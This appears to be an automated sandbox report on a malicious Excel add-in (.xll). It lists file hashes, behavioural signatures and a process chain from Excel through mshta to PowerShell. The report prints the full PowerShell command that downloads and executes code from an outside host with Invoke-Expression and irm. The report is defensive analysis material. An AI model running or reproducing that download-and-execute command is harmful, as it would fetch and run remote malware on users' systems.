Analysis
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max time kernel
146s -
max time network
152s -
platform
windows11-21h2_x64 -
resource
win11-20240508-en -
resource tags
arch:x64arch:x86image:win11-20240508-enlocale:en-usos:windows11-21h2-x64system -
submitted
22-05-2024 22:43
Static task
static1
Behavioral task
behavioral1
Sample
69609a4f5c21218b7b53376aa4c9ff33d23f9a078cc728ce291402cc91e60292.xll
Resource
win10v2004-20240226-en
Behavioral task
behavioral2
Sample
69609a4f5c21218b7b53376aa4c9ff33d23f9a078cc728ce291402cc91e60292.xll
Resource
win11-20240508-en
General
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Target
69609a4f5c21218b7b53376aa4c9ff33d23f9a078cc728ce291402cc91e60292.xll
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Size
12KB
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MD5
4ee91d6d1bf14e64918c05d3ceaafaf2
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SHA1
4a8072f77f28d684fb3ebe49b4be8c8fba6ae713
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SHA256
69609a4f5c21218b7b53376aa4c9ff33d23f9a078cc728ce291402cc91e60292
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SHA512
bd080d7844b5760f022d347206f5974280f720150a92436bf5afcd082cf346902c8076e86e76ece7da309c6b8896d4f83033dc2781ae2fe7f5979eb091139143
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SSDEEP
192:KL29RBzDzeobchBj8JONBrON6m6+oruCrEPEjr7Ahy:029jnbcvYJO2nbwuCvr7Cy
Malware Config
Extracted
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
mshta.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 872 2624 mshta.exe EXCEL.EXE -
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 26 1368 powershell.exe -
Loads dropped DLL 2 IoCs
Processes:
EXCEL.EXEpid process 2624 EXCEL.EXE 2624 EXCEL.EXE -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 2624 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 1368 powershell.exe 1368 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 1368 powershell.exe -
Suspicious use of SetWindowsHookEx 10 IoCs
Processes:
EXCEL.EXEpid process 2624 EXCEL.EXE 2624 EXCEL.EXE 2624 EXCEL.EXE 2624 EXCEL.EXE 2624 EXCEL.EXE 2624 EXCEL.EXE 2624 EXCEL.EXE 2624 EXCEL.EXE 2624 EXCEL.EXE 2624 EXCEL.EXE -
Suspicious use of WriteProcessMemory 6 IoCs
Processes:
EXCEL.EXEmshta.exedescription pid process target process PID 2624 wrote to memory of 872 2624 EXCEL.EXE mshta.exe PID 2624 wrote to memory of 872 2624 EXCEL.EXE mshta.exe PID 2624 wrote to memory of 872 2624 EXCEL.EXE mshta.exe PID 872 wrote to memory of 1368 872 mshta.exe powershell.exe PID 872 wrote to memory of 1368 872 mshta.exe powershell.exe PID 872 wrote to memory of 1368 872 mshta.exe powershell.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\69609a4f5c21218b7b53376aa4c9ff33d23f9a078cc728ce291402cc91e60292.xll"1⤵
- Loads dropped DLL
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2624 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\users\public\example.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} mshta2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:872 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (irm -Uri 'iapartmentlistings.com/tykhwuxk')3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1368
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
2KB
MD5f754844cfb65838d1dd6b19dde5d835c
SHA1b3eb677783adc88c8d048898449e04d49f416db6
SHA2563644b387519f3509a1ce3d2201e2e1e8af36217138cc6f9e62d6e37c887097a6
SHA512f42f89562b5c0be86dbd04683ee6c30711155acd1239e273da726c2bfedf5d0806c479b7107792c136bff6e97efb8d9145df0c176f499f86f1b7e304a2e3ccdf
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C:\Users\Admin\AppData\Local\Temp\69609a4f5c21218b7b53376aa4c9ff33d23f9a078cc728ce291402cc91e60292.xll
Filesize12KB
MD54ee91d6d1bf14e64918c05d3ceaafaf2
SHA14a8072f77f28d684fb3ebe49b4be8c8fba6ae713
SHA25669609a4f5c21218b7b53376aa4c9ff33d23f9a078cc728ce291402cc91e60292
SHA512bd080d7844b5760f022d347206f5974280f720150a92436bf5afcd082cf346902c8076e86e76ece7da309c6b8896d4f83033dc2781ae2fe7f5979eb091139143
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82